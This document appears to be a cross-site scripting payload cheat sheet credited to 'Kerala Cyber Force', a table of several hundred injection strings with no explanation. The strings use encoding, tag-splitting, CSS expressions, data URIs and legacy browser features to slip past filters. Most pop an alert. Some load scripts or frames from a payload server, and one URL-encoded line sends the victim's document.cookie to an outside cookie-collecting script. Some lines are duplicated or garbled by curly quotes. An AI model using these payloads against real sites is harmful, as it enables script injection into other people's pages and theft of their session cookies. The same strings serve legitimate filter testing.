| <A HREF="javascript:document.location=‘http://127.0.0.1:3555/xss_serve_payloads/kcf.html‘">KCF</A> |
| <IMG SRC=javascript:alert('KCF');> |
| <IMG SRC=javascript:alert('XSS')> |
| <IMG SRC=javascript:alert('XSS')> |
| <DIV STYLE="background-image: 075 072 06C 028‘ 06a 061 076 061 073 063 072 069 070 074 03a 061 06c 065 072 074 028.1027 058.1053 053 027 029‘ 029"> |
| “><s”%2b”cript>alert(1)</script> |
| “><ScRiPt>alert(1)</script> |
| “><<script>alert(1);//<</script> |
| foo%00<script>alert(1)</script> |
| <scr<script>ipt>alert(1)</scr</script>ipt> |
| ‘;alert(String.fromCharCode(75,67,70))//‘;alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//--></SCRIPT>">‘><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT> |
| ‘;alert(String.fromCharCode(75,67,70))//‘;alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//--></SCRIPT>">‘><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{} |
| ‘‘;!--"<KCF>=&{()} |
| <IMG SRC="javascript:alert(1);"> |
| <IMG SRC=javascript:alert(1)> |
| <IMG SRC=JaVaScRiPt:alert(1)> |
| <IMG SRC=javascript:alert(&quot;KCF&quot;)> |
| <IMG SRC=`javascript:alert("Kerala Cyber Force says, ‘KCF‘")`> |
| <IMG """><SCRIPT>alert(1)</SCRIPT>"> |
| <IMG SRC=javascript:alert(String.fromCharCode(75,67,70))> |
| <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> |
| <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> |
| <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> |
| <IMG SRC="jav	ascript:alert(1);"> |
| <IMG SRC="jav&#x09;ascript:alert(1);"> |
| <IMG SRC="jav&#x0A;ascript:alert(1);"> |
| <IMG SRC="jav&#x0D;ascript:alert(1);"> |
| <IMG SRC=`javascript:alert(1)`> |
| <IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
‘
X
S
S
‘
)
"
>
 |
| <IMG STYLE="kcf:expr/*KCF*/ession(alert(1))"> |
| <IMG DYNSRC="javascript:alert(1)"> |
| <img dynsrc="javascript:alert(1);"> |
| <IMG LOWSRC="javascript:alert(1)"> |
| <input type="image" dynsrc="javascript:alert(1);"> |
| <STYLE>li {list-style-image: url("javascript:alert(1)");}</STYLE><UL><LI>KCF |
| <DIV STYLE="width: expression(alert(1));"> |
| <div style="width: expression(alert(1););"> |
| <STYLE>@import‘javasc ipt:alert(1)‘;</STYLE> |
| <KCF STYLE="kcf:expression(alert(1))"> |
| exp/*<A STYLE=‘nokcf:nokcf("*//*");kcf:ex/*KCF*//*/*/pression(alert(1))‘> |
| <STYLE TYPE="text/javascript">alert(1);</STYLE> |
| <STYLE>.KCF{background-image:url("javascript:alert(1)");}</STYLE> |
| <A class="KCF"></A> |
| <STYLE type="text/css">BODY{background:url("javascript:alert(1)")}</STYLE> |
| <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> |
| <? echo(‘<SCR)‘;echo(‘IPT>alert(1)</SCRIPT>‘); ?> |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(1)</SCRIPT>"> |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4- |
| <XML ID=0><I><B><IMG SRC="javas<!-- -->cript:alert(1)"></B></I></XML> |
| <SPAN DATASRC="#KCF" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> |
| a="get";b="URL("";c="javascript:";d="alert(1);")";eval(a+b+c+d); |
| <?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="KCF<SCRIPT DEFER>alert("KCF")</SCRIPT>"></BODY></HTML> |
| <xml src="javascript:alert(1);"> |
| <xml id="X"><a><b><script>alert(1);</script>;</b></a></xml> |
| <div datafld="b" dataformatas="html" datasrc="#X"></div> |
| <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(1);">]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> |
| %253cscript%253ealert(1)%253c/script%253e |
| foo’; alert(1);//’; |
| </script><script >alert(1)</script> |
| ‘; alert(1); var foo=’ |
| <img src="" onerror=alert(1)> |
| <img src="" onerror=alert(1);> |
| ><img src="x:x" onerror=alert(1)> |
| s%22%20style=x:expression(alert(1)) |
| s%22%20style=%22background:url(javascript:alert(’KCF’)) |
| s%22%20%22+STYLE%3D%22background-image%3A+expression%28alert%28%27KCF%3F%29%29 |
| %22/%3E%3Cmeta%20http-equiv=refresh%20content=0;javascript:alert(1);> |
| <IMG SRC=" javascript:alert(1);"> |
| perl -e ‘print "<IMG SRC=java script:alert("KCF")>";‘ > out |
| perl -e ‘print "<SCR IPT>alert("KCF")</SCR IPT>";‘ > out |
| perl -e ‘print "<IMG SRC=java script:alert(1)>";‘> out |
| <IMG SRC=" &#14; javascript:alert(1);"> |
| <SCRIPT/KCF SRC="http://127.0.0.1:3555/xss_serve_payloads/kcf.js"></SCRIPT> |
| <SCRIPT/KCF SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT> |
| <BODY onload!#$%&()*~+-_.,:;[email protected][/|]^`=alert(1)> |
| <<SCRIPT>alert(1);//<</SCRIPT> |
| <IMG SRC="javascript:alert(1)" |
| <iframe src=http://127.0.0.1:3555/xss_serve_payloads/kcf.html < |
| <SCRIPT>a=/KCF/ |
| alert(a.source)</SCRIPT> |
| </TITLE><SCRIPT>alert(1);</SCRIPT> |
| <INPUT TYPE="IMAGE" SRC="javascript:alert(1);"> |
| <BODY BACKGROUND="javascript:alert(1)"> |
| <BODY ONLOAD=alert(1)> |
| <IMG LOWSRC="javascript:alert(1)"> |
| <BGSOUND SRC="javascript:alert(1);"> |
| <BR SIZE="&{alert(1)}"> |
| <STYLE>li {list-style-image: url("javascript:alert('KCF')");}</STYLE><UL><LI>KCF |
| <IMG SRC=‘vbscript:msgbox(1)‘> |
| <IMG SRC="mocha:[code]"> |
| <IMG SRC="livescript:[code]"> |
| <img src=‘vbscript:do%63ument.lo%63ation="http://127.0.0.1:3555/xss_serve_payloads/kcf.html"‘> |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1);"> |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="> |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(1);"> |
| <IFRAME SRC="javascript:alert(1);"></IFRAME> |
| <FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> |
| <TABLE BACKGROUND="javascript:alert(1)"> |
| <TABLE><TD BACKGROUND="javascript:alert(1)"> |
| <DIV STYLE="background-image: url(javascript:alert(1))"> |
| <DIV STYLE="background-image: 075 072 06C 028‘ 06a 061 076 061 073 063 072 069 070 074 03a 061 06c 065 072 074 028.1027 058.1053 053 027 029‘ 029"> |
| <DIV STYLE="background-image: url(&#1;javascript:alert(1))"> |
| <DIV STYLE="width: expression(alert(1));"> |
| <STYLE>@import‘javasc ipt:alert(1)‘;</STYLE> |
| <IMG STYLE="KCF:expr/*KCF*/ession(alert(1))"> |
| <KCF STYLE="KCF:expression(alert(1))"> |
| exp/*<A STYLE=‘noKCF:noKCF("*//*"); |
| <STYLE TYPE="text/javascript">alert(1);</STYLE> |
| <STYLE>.KCF{background-image:url("javascript:alert(1)");}</STYLE><A class="KCF"></A> |
| <STYLE type="text/css">BODY{background:url("javascript:alert(1)")}</STYLE> |
| <SCRIPT>alert(1);</SCRIPT> |
| <BASE HREF="javascript:alert(1);//"> |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://127.0.0.1:3555/xss_serve_payloads/kcf.html"></OBJECT> |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(1)></OBJECT> |
| <EMBED SRC="data:image/svg+xml;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED> |
| a="get"; b="URL(""; c="javascript:"; d="alert(1);")"; eval(a+b+c+d); |
| <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(1);">]]> |
| </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> |
| <XML ID=0><I><B>&lt;IMG SRC="javas<!-- -->cript:alert(1)"&gt;</B></I></XML> |
| <SPAN DATASRC="#KCF" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> |
| <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> |
| <HTML><BODY> |
| <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> |
| <?import namespace="t" implementation="#default#time2"> |
| <t:set attributeName="innerHTML" to="KCF&lt;SCRIPT DEFER&gt;alert(&quot;KCF&quot;)&lt;/SCRIPT&gt;"> |
| </BODY></HTML> |
| <? echo(‘<SCR)‘; |
| echo(‘IPT>alert(1)</SCRIPT>‘); ?> |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert(1)&lt;/SCRIPT&gt;"> |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4- |
| <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">KCF</A> |
| <A HREF="http://1113982867/">KCF</A> |
| <A HREF="http://0x42.0x0000066.0x7.0x93/">KCF</A> |
| <A HREF="http://0102.0146.0007.00000223/">KCF</A> |
| <A HREF="h
tt	p://6&#9;6.000146.0x7.147/">KCF</A> |
| <A HREF="//127.0.0.1:3555/xss_serve_payloads/kcf.html">KCF</A> |
| <A HREF="http://127.0.0.1:3555/xss_serve_payloads/kcf.html">KCF</A> |
| <A HREF="http://127.0.0.1:3555/xss_serve_payloads/kcf.html./">KCF</A> |
| <A HREF="javascript:document.location=‘http://127.0.0.1:3555/xss_serve_payloads/kcf.html‘">KCF</A> |
| <A HREF="http://www.keralacyberhttp://www.keralacyberforce.in/force.in/">KCF</A> |
| <form id="test" /><button form="test" formaction="javascript:alert(1)">X |
| <input onblur=javascript:alert(1) autofocus><input autofocus> |
| <video poster=javascript:alert(1)//<video poster=javascript:alert(1)//></video> |
| <head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body> |
| <SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT> |
| <OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> |
| <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> |
| <form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button> |
| <b <script>alert(1)//</script>0</script></b> |
| <script src="javascript:alert(1)"> |
| <image src="javascript:alert(1)"> |
| <div style=width:1px;filter:glow onfilterchange=alert(1)>x</div> |
| <? foo="><script>alert(1)</script>"> |
| <! foo="><script>alert(1)</script>"> |
| </ foo="><script>alert(1)</script>"> |
| <? foo="><x foo=‘?><script>alert(1)</script>‘>"> |
| <! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>"> |
| <% foo><x foo="%><script>alert(1)</script>"> |
| <iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/kcf.html!kcf.html></iframe> |
| <iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/kcf.gif!kcf.html></iframe> |
| <div id=d><x xmlns="><iframe onload=alert(1)"></div> <script>d.innerHTML=d.innerHTML</script> |
| <img[a][b]src=x[d]onerror[c]=[e]"alert(1)"> |
| <a href="[a]java[b]script[c]:alert(1)">XXX</a> |
| <img src="x` `<script>alert(1)</script>"` `> |
| <img src onerror /" ‘"= alt=alert(1)//"> |
| <title onpropertychange=alert(1)></title><title title=></title> |
| <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=alert(1)></a>"> |
| <!a foo=x=`y><img alt="`><img src=x:x onerror=alert(2)//"> |
| <?a foo=x=`y><img alt="`><img src=x:x onerror=alert(3)//"> |
| <!--[if]><script>alert(1)</script --> |
| <!--[if<img src=x onerror=alert(2)//]> --> |
| <!-- `<img/src=xx:xx onerror=alert(1)//--!> |
| <xmp> <% </xmp> <img alt=‘%></xmp><img src=xx:x onerror=alert(1)//‘> <script> x=‘<%‘ </script> %>/ alert(2) </script> XXX <style> *[‘<!--‘]{} </style> -->{} *{color:red}</style> |
| <frameset onload=alert(1)> |
| <table background="javascript:alert(1)"></table> |
| <!--<img src="--><img src=x onerror=alert(1)//"> |
| <comment><img src="</comment><img src=x onerror=alert(1))//"> |
| <svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg> |
| <style><img src="</style><img src=x onerror=alert(1)//"> |
| <li style=list-style:url() onerror=alert(1)></li> |
| <div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div> |
| <a style="-o-link:‘javascript:alert(1)‘;-o-link-source:current">X</a> |
| <style>p[foo=bar{}*{-o-link:‘javascript:alert(1)‘}{}*{-o-link-source:current}*{background:red}]{background:green};</style> |
| <link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d |
| <style>@import "data:,*%7bx:expression(write(1))%7D";</style> |
| <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a> |
| <style>*[{}@import‘test.css?]{color: green;}</style>X |
| * {-o-link:‘javascript:alert(1)‘;-o-link-source: current;} |
| <div style="font-family:‘foo[a];color:red;‘;">XXX</div> |
| <div style="font-family:foo}color=red;">XXX</div> |
| <div style="[a]color[b]:[c]red">XXX</div> |
| <div style="63	 6f
 006c 0006F
R: 00072 Ed;color la:yellow la;col 0  or:blue;">XXX</div> |
| <// style=x:expression28write(1)29> |
| <style>*{x:expression(write(1))}</style> |
| <div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div> |
| <div style="list-style:url(http://foo.f)20url(javascript:alert(1));">X</div> |
| <div id=d><div style="font-family:‘sans272F2A222A2F3B color3Ared3B‘">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script> |
| <div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div> |
| <div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div> |
| <x style="background:url(‘x[a];color:red;/*‘)">XXX</x> |
| <script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script> |
| <script>({0:#0=alert/#0#/#0#(1)})</script> |
| <script>ReferenceError.prototype.__defineGetter__(‘name‘, function(){alert(1)}),x</script> |
| <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._(‘alert(1)‘)()</script> |
| <script>history.pushState(0,0,‘/i/am/somewhere_else‘);</script> |
| <script src="#">{alert(1)}</script>;1 |
| +ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input); |
| <b><script<b></b><alert(1)</script </b></b> |
| <script<{alert(1)}/></script </> |
| 0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts(‘data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk‘)) |
| <script>crypto.generateCRMFRequest(‘CN=0‘,0,0,null,‘alert(1)‘,384,null,‘rsa-dual-use‘)</script> |
| <script>[{‘a‘:Object.prototype.__defineSetter__(‘b‘,function(){alert(arguments[0])}),‘b‘:[‘secret‘]}]</script> |
| <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg |
| <svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg> |
| <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> |
| <iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe> |
| <svg><style><img/src=x onerror=alert(1)// </b> |
| <?xml-stylesheet href="javascript:alert(1)"?><root/> |
| <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script> |
| <!DOCTYPE x[<!ENTITY x SYSTEM "http://127.0.0.1:3555/xss_serve_payloads/kcf.html">]><y>&x;</y> |
| <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script> |
| <?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?> |
| <?xml-stylesheet type="text/xsl" href="#" ?> <stylesheet xmlns="http://www.w3.org/TR/WD-xsl"> <template match="/"> <eval>new ActiveXObject('htmlfile').parentWindow.alert(1)</eval> <if expr="new ActiveXObject(‘htmlfile‘).parentWindow.alert(2)"></if> </template> </stylesheet> |
| <!ENTITY x "<html:img src=‘x‘ xmlns:html=‘http://www.w3.org/1999/xhtml‘ onerror=‘alert(1)‘/>"> |
| X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` > |
| 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=alert(1)>`> |
| 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=alert(1)>> |
| 1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#kcf></vmlframe> |
| <xml> <rect style="height:100%;width:100%" id="kcf" onmouseover="alert(1)" strokecolor="white" strokeweight="2000px" filled="false" /> </xml> |
| 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> |
| <a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XXX</a> |
| <x style="behavior:url(test.sct)"> |
| <SCRIPTLET> <IMPLEMENTS Type="Behavior"></IMPLEMENTS><SCRIPT Language="javascript">alert(1)</SCRIPT></SCRIPTLET> |
| <xml id="kcf" src="test.htc"></xml><label dataformatas="html" datasrc="#kcf" datafld="payload"></label> |
| <?xml version="1.0"?> x><payload><![CDATA[<img src=x onerror=alert(1)>]]></payload></x> |
| <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> |
| object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object> |
| class kcf {public static function main() { flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||"javascript:alert(1)"),flash.Lib._root.name||"_top"); }} |
| <div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> |
| <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> |
| X<form id=test onforminput=javascript:alert(1)><input></form> |
| X<form id=test><input></form><button form=test onformchange==javascript:alert(1)>X |
| <input onblur=write(1) autofocus><input autofocus> |
| <video onerror="javascript:alert(1)"><source> |
| <q/oncut=open()> |
| <marquee<marquee/onstart=confirm(1)>/onstart=confirm(1)> |
| <body language=vbsonload=alert-1 |
| <command onmouseover="x6Ax61x76x61x53x43x52x49x50x54x26x63x6Fx6Cx6Fx6Ex3Bx63x6Fx6Ex66x69x72x6Dx26x6Cx70x61x72x3Bx31x26x72x70x61x72x3B">Save</command> |
| <q/oncut=alert(1)> |
| eval("aler"+(!![]+[])[+[]])("KCF") |
| this["alert"]("KCF") |
| window["alert"]("KCF") |
| this[‘ale‘+(!![]+[])[-~[]]+(!![]+[])[+[]]]() |
| < %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < x3c x3C u003c u003C |
| <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">KCF</A> |
| <A HREF="http://1113982867/">KCF</A> |
| <A HREF="h tt p://6	6.000146.0x7.147/">KCF</A> |
| <A HREF="//google">KCF</A> |
| <A HREF="http://127.0.0.1:3555/xss_serve_payloads/[email protected]">KCF</A |
| <A HREF="http://google:127.0.0.1:3555/xss_serve_payloads/kcf.html">KCF</A> |
| document.write(‘<iframe src="http://127.0.0.1:3555/xss_serve_payloads/kcf.html" style="border: 0; width: 100%; height: 100%"></iframe>‘) |
| http://%22%20onerror=%22alert%281%29;// |
| document.location=‘http://127.0.0.1:3555/xss_serve_payloads/kcf.html‘ |
| document.location="http://127.0.0.1:3555/xss_serve_payloads/kcf.html" |
| "><script>alert(/KCF/)<script> |
| ;alert%28String.fromCharCode%2875,67,70%29%29//\%27;alert%28String.fromCharCode%2875,67,70%29%29//%22;alert%28String.fromCharCode%2875,67,70%29%29//\%22;alert%28String.fromCharCode%2875,67,70%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2875,67,70%29%29%3C/SCRIPT%3E |
| <input onfocus=write(1) autofocus> |
| <video poster=javascript:alert(1)//></video> |
| <video poster=prompt(1)//></video> |
| <body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus> |
| <body onscroll=prompt(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus> |
| <form id=test onforminput=prompt(1)><input></form><button form=test onformchange=prompt(2)>X</button> |
| <video><source onerror="alert(1)"> |
| <video><source onerror="prompt(1)"> |
| <video><source onerror="prompt(1)"></source></video> |
| <form><button formaction="javascript:alert(1)">X</button> |
| <body oninput=alert(1)><input autofocus> |
| <body oninput=prompt(1)><input autofocus> |
| <frameset onload=prompt(1)> |
| <comment><img src="</comment><img src=x onerror=alert(1)//"> |
| <comment><img src="</comment><img src=x onerror=prompt(1)//"> |
| <style><img src="</style><img src=x onerror=prompt(1)//"> |
| <SCRIPT FOR=document EVENT=onreadystatechange>prompt(1)</SCRIPT> |
| <div style=width:1px;filter:glow onfilterchange=prompt(1)>x</div> |
| <img[a][b]src=x[d]onerror[c]=[e]"prompt(1)"> |
| ‘-prompt("KCF")-‘ |
| ‘-prompt(kcf)‘ |
| ‘-prompt(KCF)-‘ |
| ‘-alert("KCF")-‘ |
| ‘;alert(String.fromCharCode(75,67,70))//‘;alert(String.fromCharCode(75,67,70))//"; |
| alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//--></SCRIPT>">‘><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT> |
| <IMG SRC=# onmouseover="alert(‘kcf‘)"> |
| <IMG SRC=javascript:alert('XSS')> |
| <IMG SRC="jav
ascript:alert(‘KCF‘);"> |
| ";alert(‘KCF‘);// |
| exp/*<A STYLE=‘nokcf:nokcf("*//*");kcf:ex/*KCF*//*/*/pression(alert("KCF"))‘> |
| ‘"--></style></script><script>alert("KCF")</script> |
| ‘"--></style></script><script>prompt(1)</script> |
| &‘"><script>alert(/kcf/)</script> |
| %26‘%22%3E%3Cscript%3Ealert(%2Fkcf%2F)%3C%2Fscript%3E%3D |
| &‘">PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4 |
| &‘">/‘-C<FEP=#YA;&5R="@O>‘-S+RD+W-C<FEP=#. |
| &‘">u{3c}u{73}u{63}u{72}u{69}u{70}u{74}u{3e}u{61}u{6c}u{65}u{72}u{74}u{28}u{2f}u{78}u{73}u{73}u{2f}u{29}u{3c}u{2f}u{73}u{63}u{72}u{69}u{70}u{74}u{3e} |
| &‘">u003cu0073u0063u0072u0069u0070u0074u003eu0061u006cu0065u0072u0074u0028u002fu0078u0073u0073u002fu0029u003cu002fu0073u0063u0072u0069u0070u0074u003e |
| &‘">0x3c7363726970743e616c657274282f7873732f293c2f7363726970743e |
| &‘">-1,54,38,53,44,51,55,-1,36,47,40,53,55,-1,-1,59,54,54,-1,-1,-1,-1,54,38,53,44,51,55,-1 |
| &‘">PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4= |
| &‘">3e7470697263732f3c292f7373782f287472656c613e7470697263733c |
| &‘">chr(60).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62).chr(97).chr(108).chr(101).chr(114).chr(116).chr(40).chr(47).chr(120).chr(115).chr(115).chr(47).chr(41).chr(60).chr(47).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62) |
| &‘">TypeError: Cannot read property ‘$content$‘ of undefined |
| &‘">741631431621511601647614115414516216450571701631635751745716314316215116016476 |
| &‘"><script>alert(/kcf/)</ā??> |
| &‘">%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u002f%u0078%u0073%u0073%u002f%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e |
| &‘">uff1cuff53uff43uff52uff49uff50uff54uff1euff41uff4cuff45uff52uff54uff08uff0fuff58uff53uff53uff0fuff09uff1cuff0fuff53uff43uff52uff49uff50uff54uff1e |
| &‘"><script>alert(/kcf/)</script> |
| &‘"><script>alert(/kcf/)</script> |
| &‘">Description:Syntax error Msg:Unexpected token < ) |
| </script><svg onload=‘-/"/-alert(1)//‘> |
| <!-- --!><script>alert(kcf)</script>--> |
| <![CDATA[<script>alert(kcf)</script>]]> |
| [data "1<div style=width:expression(prompt(1))>"] |
| +onerror=alert(1)%3E/ |
| +onerror=prompt(1)%3E/ |
| ?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e |
| ?#?gad=xxxx"onload="alert(1)" |
| #?gad=xxxx"onload="alert(1)" |
| /#?gad=xxxx"onload="alert(1)" |
| “><script >alert(1)</script > |
| “><ScRiPt>alert(1)</ScRiPt> |
| “%3e%3cscript%3ealert(1)%3c/script%3e |
| “><scr<script>ipt>alert(1)</scr</script>ipt> |
| %00“><script>alert(1)</script> |
| <xml onreadystatechange=alert(1)> |
| <style onreadystatechange=alert(1)> |
| <iframe onreadystatechange=alert(1)> |
| <object onerror=alert(1)> |
| <object type=image src=kcf.gif onreadystatechange=alert(1)></object> |
| <img type=image src=kcf.gif onreadystatechange=alert(1)> |
| <input type=image src=kcf.gif onreadystatechange=alert(1)> |
| <isindex type=image src=kcf.gif onreadystatechange=alert(1)> |
| <script onreadystatechange=alert(1)> |
| <bgsound onpropertychange=alert(1)> |
| <body onbeforeactivate=alert(1)> |
| <body onactivate=alert(1)> |
| <body onfocusin=alert(1)> |
| <input onblur=alert(1) autofocus><input autofocus> |
| <body onscroll=alert(1)><br><br>...<br><input autofocus> |
| </a onmousemove=alert(1)> |
| <video src=1 onerror=alert(1)> |
| <audio src=1 onerror=alert(1)> |
| <object data=javascript:alert(1)> |
| <iframe src=javascript:alert(1)> |
| <embed src=javascript:alert(1)> |
| <form id=test /><button form=test formaction=javascript:alert(1)> |
| <event-source src=javascript:alert(1)> |
| <x style=x:expression(alert(1))> |
| <x style=behavior:url(#default#time2) onbegin=alert(1)> |
| <iMg onerror=alert(1) src=a> |
| <[%00]img onerror=alert(1) src=a> |
| <i[%00]mg onerror=alert(1) src=a> |
| <img/onerror=alert(1) src=a> |
| <img[%09]onerror=alert(1) src=a> |
| <img[%0d]onerror=alert(1) src=a> |
| <img[%0a]onerror=alert(1) src=a> |
| <img/”onerror=alert(1) src=a> |
| <img/’onerror=alert(1) src=a> |
| <img/anyjunk/onerror=alert(1) src=a> |
| <img o[%00]nerror=alert(1) src=a> |
| <i[%00]m[%00]g o[%00]ner[%00]r[%00]or[%00]=a[%00]ler[%00]t(1) sr[%00]c=[%00]a> |
| <img onerror=”alert(1)”src=a> |
| <img onerror=’alert(1)’src=a> |
| <img onerror=`alert(1)`src=a> |
| <iframe src=javascript:alert(1) > |
| <img onerror=alert(1) src=a> |
| <img onerror=alert(1) src=a> |
| <img onerror=alert(1) src=a> |
| <img onerror=alert(1) src=a> |
| <img onerror=alert(1) src=a> |
| <img onerror=alert(1) src=a> |
| <img onerror=alert(1) src=a> |
